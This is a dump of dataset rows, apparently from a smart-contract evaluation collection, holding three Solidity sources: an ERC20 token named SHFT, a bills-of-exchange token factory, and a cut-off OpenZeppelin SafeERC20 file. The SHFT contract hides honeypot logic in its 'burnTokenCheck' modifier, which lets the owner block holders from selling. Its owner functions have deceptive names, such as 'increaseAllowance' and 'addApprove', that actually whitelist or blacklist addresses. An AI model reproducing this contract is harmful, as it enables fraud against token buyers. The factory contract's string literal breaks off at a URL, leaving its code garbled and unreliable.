hash
stringlengths 64
64
| size
int64 7k
624k
| ext
stringclasses 1
value | lang
stringclasses 1
value | is_test
bool 2
classes | repo_id
stringclasses 846
values | repo_name
stringclasses 846
values | repo_head
stringclasses 846
values | repo_path
stringlengths 7
155
| content_tokens
int64 1.82k
42.6k
| content_chars
int64 6.85k
58.7k
| content
stringlengths 6.85k
58.7k
| __index_level_0__
int64 84
346k
| id
int64 0
14.2k
|
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
94891a2fe639276a9a872d1702f5acdbf04249269b13c00000914e27ae7e69c6
| 29,227 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/SHFT-0xb7f624ded791c262dff65517a335ba1c0700037e.sol
| 3,395 | 12,609 |
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract SHFT is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
| 196,026 | 11,200 |
ae95cf3f73b21fff6a44dcd9fc39bba6954d05e62db2ac8f0157e92a4f5fb5f2
| 41,882 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0xaa2cb1a1b014b92edb93b1f163c7ca40a07eecaa.sol
| 5,302 | 22,166 |
pragma solidity 0.5.9;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
contract ERC677Receiver {
function onTokenTransfer(address from, uint256 amount, bytes calldata data) external returns (bool success);
}
contract ERC223ReceivingContract {
function tokenFallback(address _from, uint _value, bytes calldata _data) external;
}
contract Token {
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public constant decimals = 0;
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
address public creator;
constructor() public {
creator = msg.sender;
}
function initToken(string calldata _name,
string calldata _symbol,
uint256 _totalSupply,
address tokenOwner) external {
// creator is BillsOfExchangeFactory address
require(msg.sender == creator, "Only creator can initialize token contract");
name = _name;
symbol = _symbol;
totalSupply = _totalSupply;
balanceOf[tokenOwner] = totalSupply;
emit Transfer(address(0), tokenOwner, totalSupply);
}
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
event DataSentToAnotherContract(address indexed _from, address indexed _toContract, bytes indexed _extraData);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool){
// Transfers of 0 values MUST be treated as normal transfers and fire the Transfer event (ERC-20)
// require(_value >= 0);
require(_to != address(0), "_to was 0x0 address");
require(msg.sender == _from || _value <= allowance[_from][msg.sender], "Sender not authorized");
// check if _from account have required amount
require(_value <= balanceOf[_from], "Account doesn't have required amount");
// Subtract from the sender
balanceOf[_from] = balanceOf[_from].sub(_value);
// Add the same to the recipient
balanceOf[_to] = balanceOf[_to].add(_value);
// If allowance used, change allowances correspondingly
if (_from != msg.sender) {
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
}
emit Transfer(_from, _to, _value);
return true;
} // end of transferFrom
function transfer(address _to, uint256 _value) public returns (bool success){
return transferFrom(msg.sender, _to, _value);
}
function transfer(address _to, uint _value, bytes calldata _data) external returns (bool success){
if (transfer(_to, _value)) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, _data);
emit DataSentToAnotherContract(msg.sender, _to, _data);
return true;
}
return false;
}
function transferAndCall(address _to, uint256 _value, bytes memory _extraData) public returns (bool success){
if (transferFrom(msg.sender, _to, _value)) {
ERC677Receiver receiver = ERC677Receiver(_to);
if (receiver.onTokenTransfer(msg.sender, _value, _extraData)) {
emit DataSentToAnotherContract(msg.sender, _to, _extraData);
return true;
}
}
return false;
}
function transferAllAndCall(address _to, bytes calldata _extraData) external returns (bool){
return transferAndCall(_to, balanceOf[msg.sender], _extraData);
}
function approve(address _spender, uint256 _value) public returns (bool success){
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function approve(address _spender, uint256 _currentValue, uint256 _value) external returns (bool success){
require(allowance[msg.sender][_spender] == _currentValue,
"Current value in contract is different than provided current value");
return approve(_spender, _value);
}
}
contract BurnableToken is Token {
event TokensBurned(address indexed from, uint256 value, address by);
function burnTokensFrom(address _from, uint256 _value) public returns (bool success){
require(msg.sender == _from || _value <= allowance[_from][msg.sender], "Sender not authorized");
require(_value <= balanceOf[_from], "Account doesn't have required amount");
balanceOf[_from] = balanceOf[_from].sub(_value);
totalSupply = totalSupply.sub(_value);
// If allowance used, change allowances correspondingly
if (_from != msg.sender) {
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
}
emit Transfer(_from, address(0), _value);
emit TokensBurned(_from, _value, msg.sender);
return true;
}
function burnTokens(uint256 _value) external returns (bool success){
return burnTokensFrom(msg.sender, _value);
}
}
contract CryptonomicaVerification {
function revokedOn(address _address) external view returns (uint unixTime);
function keyCertificateValidUntil(address _address) external view returns (uint unixTime);
}
contract ManagedContract {
CryptonomicaVerification public cryptonomicaVerification;
mapping(address => bool) isAdmin;
modifier onlyAdmin() {
require(isAdmin[msg.sender], "Only admin can do that");
_;
}
event CryptonomicaVerificationContractAddressChanged(address from, address to, address indexed by);
function changeCryptonomicaVerificationContractAddress(address _newAddress) public onlyAdmin returns (bool success) {
emit CryptonomicaVerificationContractAddressChanged(address(cryptonomicaVerification), _newAddress, msg.sender);
cryptonomicaVerification = CryptonomicaVerification(_newAddress);
return true;
}
event AdminAdded(address indexed added,
address indexed addedBy);
function addAdmin(address _newAdmin) public onlyAdmin returns (bool success){
require(cryptonomicaVerification.keyCertificateValidUntil(_newAdmin) > now,
"New admin has to be verified on Cryptonomica.net");
// revokedOn returns uint256 (unix time), it's 0 if verification is not revoked
require(cryptonomicaVerification.revokedOn(_newAdmin) == 0,
"Verification for this address was revoked, can not add");
isAdmin[_newAdmin] = true;
emit AdminAdded(_newAdmin, msg.sender);
return true;
}
event AdminRemoved(address indexed removed,
address indexed removedBy);
function removeAdmin(address _oldAdmin) external onlyAdmin returns (bool){
require(msg.sender != _oldAdmin, "Admin can not remove himself");
isAdmin[_oldAdmin] = false;
emit AdminRemoved(_oldAdmin, msg.sender);
return true;
}
address payable public withdrawalAddress;
bool public withdrawalAddressFixed = false;
event WithdrawalAddressChanged(address indexed from, address indexed to, address indexed changedBy);
function setWithdrawalAddress(address payable _withdrawalAddress) public onlyAdmin returns (bool success) {
require(!withdrawalAddressFixed, "Withdrawal address already fixed");
require(_withdrawalAddress != address(0), "Wrong address: 0x0");
require(_withdrawalAddress != address(this), "Wrong address: contract itself");
emit WithdrawalAddressChanged(withdrawalAddress, _withdrawalAddress, msg.sender);
withdrawalAddress = _withdrawalAddress;
return true;
}
event WithdrawalAddressFixed(address indexed withdrawalAddressFixedAs, address indexed fixedBy);
function fixWithdrawalAddress(address _withdrawalAddress) external onlyAdmin returns (bool success) {
// prevents event if already fixed
require(!withdrawalAddressFixed, "Can't change, address fixed");
// check, to prevent fixing wrong address
require(withdrawalAddress == _withdrawalAddress, "Wrong address in argument");
withdrawalAddressFixed = true;
emit WithdrawalAddressFixed(withdrawalAddress, msg.sender);
return true;
}
event Withdrawal(address indexed to,
uint sumInWei,
address indexed by,
bool indexed success);
function withdrawAllToWithdrawalAddress() external returns (bool success) {
// http://solidity.readthedocs.io/en/develop/security-considerations.html#sending-and-receiving-ether
// about <address>.send(uint256 amount) and <address>.transfer(uint256 amount)
uint sum = address(this).balance;
if (!withdrawalAddress.send(sum)) {// makes withdrawal and returns true (success) or false
emit Withdrawal(withdrawalAddress, sum, msg.sender, false);
return false;
}
emit Withdrawal(withdrawalAddress, sum, msg.sender, true);
return true;
}
}
contract ManagedContractWithPaidService is ManagedContract {
uint256 public price;
event PriceChanged(uint256 from, uint256 to, address indexed by);
function changePrice(uint256 _newPrice) public onlyAdmin returns (bool success){
emit PriceChanged(price, _newPrice, msg.sender);
price = _newPrice;
return true;
}
}
contract BillsOfExchange is BurnableToken {
uint256 public billsOfExchangeContractNumber;
string public drawerName;
address public drawerRepresentedBy;
string public linkToSignersAuthorityToRepresentTheDrawer;
string public drawee;
address public draweeSignerAddress;
string public linkToSignersAuthorityToRepresentTheDrawee;
string public description;
string public order;
string public disputeResolutionAgreement;
CryptonomicaVerification public cryptonomicaVerification;
string public timeOfPayment;
// A statement of the date and of the place where the bill is issued
uint256 public issuedOnUnixTime;
string public placeWhereTheBillIsIssued; // i.e. "London, U.K.";
// a statement of the place where payment is to be made;
// usually it is an address of the payer
string public placeWherePaymentIsToBeMade;
// https://en.wikipedia.org/wiki/ISO_4217
// or crypto currency
string public currency; // for example: "EUR", "USD"
uint256 public sumToBePaidForEveryToken; //
uint256 public disputeResolutionAgreementSignaturesCounter;
struct Signature {
address signatoryAddress;
string signatoryName;
}
mapping(uint256 => Signature) public disputeResolutionAgreementSignatures;
event disputeResolutionAgreementSigned(uint256 indexed signatureNumber,
string signedBy,
address indexed representedBy,
uint256 signedOn);
function signDisputeResolutionAgreementFor(address _signatoryAddress,
string memory _signatoryName) public returns (bool success){
require(msg.sender == _signatoryAddress ||
msg.sender == creator,
"Not authorized to sign dispute resolution agreement");
// ! signer should have valid identity verification in cryptonomica.net smart contract:
require(cryptonomicaVerification.keyCertificateValidUntil(_signatoryAddress) > now,
"Signer has to be verified on Cryptonomica.net");
// revokedOn returns uint256 (unix time), it's 0 if verification is not revoked
require(cryptonomicaVerification.revokedOn(_signatoryAddress) == 0,
"Verification for this address was revoked, can not sign");
disputeResolutionAgreementSignaturesCounter++;
disputeResolutionAgreementSignatures[disputeResolutionAgreementSignaturesCounter].signatoryAddress = _signatoryAddress;
disputeResolutionAgreementSignatures[disputeResolutionAgreementSignaturesCounter].signatoryName = _signatoryName;
emit disputeResolutionAgreementSigned(disputeResolutionAgreementSignaturesCounter, _signatoryName, msg.sender, now);
return true;
}
function signDisputeResolutionAgreement(string calldata _signatoryName) external returns (bool success){
return signDisputeResolutionAgreementFor(msg.sender, _signatoryName);
}
function initBillsOfExchange(uint256 _billsOfExchangeContractNumber,
string calldata _currency,
uint256 _sumToBePaidForEveryToken,
string calldata _drawerName,
address _drawerRepresentedBy,
string calldata _linkToSignersAuthorityToRepresentTheDrawer,
string calldata _drawee,
address _draweeSignerAddress) external {
require(msg.sender == creator, "Only contract creator can call 'initBillsOfExchange' function");
billsOfExchangeContractNumber = _billsOfExchangeContractNumber;
// https://en.wikipedia.org/wiki/ISO_4217
// or crypto currency
currency = _currency;
sumToBePaidForEveryToken = _sumToBePaidForEveryToken;
// person who issues the bill (drawer)
drawerName = _drawerName;
drawerRepresentedBy = _drawerRepresentedBy;
linkToSignersAuthorityToRepresentTheDrawer = _linkToSignersAuthorityToRepresentTheDrawer;
// order to
// (the name of the person who is to pay)
drawee = _drawee;
draweeSignerAddress = _draweeSignerAddress;
}
function setPlacesAndTime(string calldata _timeOfPayment,
string calldata _placeWhereTheBillIsIssued,
string calldata _placeWherePaymentIsToBeMade) external {
require(msg.sender == creator, "Only contract creator can call 'setPlacesAndTime' function");
// require(issuedOnUnixTime == 0, "setPlacesAndTime can be called one time only");
// (this can be ensured in factory contract)
issuedOnUnixTime = now;
timeOfPayment = _timeOfPayment;
placeWhereTheBillIsIssued = _placeWhereTheBillIsIssued;
placeWherePaymentIsToBeMade = _placeWherePaymentIsToBeMade;
}
function setLegal(string calldata _description,
string calldata _order,
string calldata _disputeResolutionAgreement,
address _cryptonomicaVerificationAddress) external {
require(msg.sender == creator, "Only contract creator can call 'setLegal' function");
// require(address(cryptonomicaVerification) == address(0), "setLegal can be called one time only");
// (this can be ensured in factory contract)
description = _description;
order = _order;
disputeResolutionAgreement = _disputeResolutionAgreement;
cryptonomicaVerification = CryptonomicaVerification(_cryptonomicaVerificationAddress);
}
uint256 public acceptedOnUnixTime;
event Acceptance(uint256 acceptedOnUnixTime,
string drawee,
address draweeRepresentedBy);
function accept(string calldata _linkToSignersAuthorityToRepresentTheDrawee) external returns (bool success) {
require(msg.sender == draweeSignerAddress ||
msg.sender == creator,
"Not authorized to accept");
signDisputeResolutionAgreementFor(draweeSignerAddress, drawee);
linkToSignersAuthorityToRepresentTheDrawee = _linkToSignersAuthorityToRepresentTheDrawee;
acceptedOnUnixTime = now;
emit Acceptance(acceptedOnUnixTime, drawee, msg.sender);
return true;
}
}
contract BillsOfExchangeFactory is ManagedContractWithPaidService {
// using SafeMath for uint256;
string public description = "Every token (ERC20) in this smart contract is a bill of exchange in blank - payable to bearer (bearer is the owner of the Ethereum address witch holds the tokens, or the person he/she represents), but not to order - that means no endorsement possible and the token holder can only transfer the token (bill of exchange in blank) itself.";
// string public forkClause = "";
string public order = "Pay to bearer (tokenholder), but not to order, the sum defined for every token in currency defined in 'currency' (according to ISO 4217 standard; or XAU for for one troy ounce of gold, XBT or BTC for Bitcoin, ETH for Ether, DASH for Dash, ZEC for Zcash, XRP for Ripple, XMR for Monero, xEUR for xEuro)";
string public disputeResolutionAgreement =
"Any dispute, controversy or claim arising out of or relating to this bill(s) of exchange, including invalidity thereof and payments based on this bill(s), shall be settled by arbitration in accordance with the Cryptonomica Arbitration Rules (https:
constructor() public {
isAdmin[msg.sender] = true;
changePrice(0.15 ether);
// Ropsten: > verification always valid for any address
require(changeCryptonomicaVerificationContractAddress(0x846942953c3b2A898F10DF1e32763A823bf6b27f));
require(setWithdrawalAddress(msg.sender));
}
uint256 public billsOfExchangeContractsCounter;
mapping(uint256 => address) public billsOfExchangeContractsLedger;
function createBillsOfExchange(string memory _name,
string memory _symbol,
uint256 _totalSupply,
string memory _currency,
uint256 _sumToBePaidForEveryToken,
string memory _drawerName,
// address _drawerRepresentedBy, // <<< msg.sender
string memory _linkToSignersAuthorityToRepresentTheDrawer,
string memory _drawee,
address _draweeSignerAddress,
string memory _timeOfPayment,
string memory _placeWhereTheBillIsIssued,
string memory _placeWherePaymentIsToBeMade) public payable returns (address newBillsOfExchangeContractAddress) {
require(msg.value >= price, "Payment sent was lower than the price for creating Bills of Exchange");
BillsOfExchange billsOfExchange = new BillsOfExchange();
billsOfExchangeContractsCounter++;
billsOfExchangeContractsLedger[billsOfExchangeContractsCounter] = address(billsOfExchange);
billsOfExchange.initToken(_name, //
_symbol, // symbol
_totalSupply,
msg.sender // tokenOwner (drawer or drawer representative));
billsOfExchange.initBillsOfExchange(billsOfExchangeContractsCounter,
_currency,
_sumToBePaidForEveryToken,
_drawerName,
msg.sender,
_linkToSignersAuthorityToRepresentTheDrawer,
_drawee,
_draweeSignerAddress);
billsOfExchange.setPlacesAndTime(_timeOfPayment,
_placeWhereTheBillIsIssued,
_placeWherePaymentIsToBeMade);
billsOfExchange.setLegal(description,
order,
disputeResolutionAgreement,
address(cryptonomicaVerification));
billsOfExchange.signDisputeResolutionAgreementFor(msg.sender, _drawerName);
return address(billsOfExchange);
}
function createAndAcceptBillsOfExchange(string memory _name, // name of the token
string memory _symbol,
uint256 _totalSupply,
string memory _currency,
uint256 _sumToBePaidForEveryToken,
string memory _drawerName,
// address _drawerRepresentedBy, // <<< msg.sender
string memory _linkToSignersAuthorityToRepresentTheDrawer,
// string _drawee, > the same as drawer
// address _draweeSignerAddress, > the same as msg.sender
string memory _timeOfPayment,
string memory _placeWhereTheBillIsIssued,
string memory _placeWherePaymentIsToBeMade) public payable returns (address newBillsOfExchangeContractAddress) {// if 'external' > "Stack to deep ..." error
require(msg.value >= price, "Payment sent was lower than the price for creating Bills of Exchange");
BillsOfExchange billsOfExchange = new BillsOfExchange();
billsOfExchangeContractsCounter++;
billsOfExchangeContractsLedger[billsOfExchangeContractsCounter] = address(billsOfExchange);
billsOfExchange.initToken(_name, //
_symbol, // symbol
_totalSupply,
msg.sender // tokenOwner (drawer or drawer representative));
billsOfExchange.initBillsOfExchange(billsOfExchangeContractsCounter,
_currency,
_sumToBePaidForEveryToken,
_drawerName,
msg.sender,
_linkToSignersAuthorityToRepresentTheDrawer,
_drawerName, // < _drawee,
msg.sender // < _draweeSignerAddress);
billsOfExchange.setPlacesAndTime(_timeOfPayment,
_placeWhereTheBillIsIssued,
_placeWherePaymentIsToBeMade);
billsOfExchange.setLegal(description,
order,
disputeResolutionAgreement,
address(cryptonomicaVerification));
billsOfExchange.accept(_linkToSignersAuthorityToRepresentTheDrawer);
return address(billsOfExchange);
}
}
| 217,509 | 11,201 |
4a3d5c0aab178f5f14466d08b16eb58fca8a35c63ee180ab072fdc43bd5e31cf
| 26,187 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/8b/8b824bF43b0670a75dD7aB6F0f894836727f4D62_VestingAMA.sol
| 2,987 | 11,960 |
// Sources flattened with hardhat v2.9.3 https://hardhat.org
// File @openzeppelin/contracts/token/ERC20/[emailprotected]
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from,
address to,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File @openzeppelin/contracts/utils/[emailprotected]
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File @openzeppelin/contracts/token/ERC20/utils/[emailprotected]
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
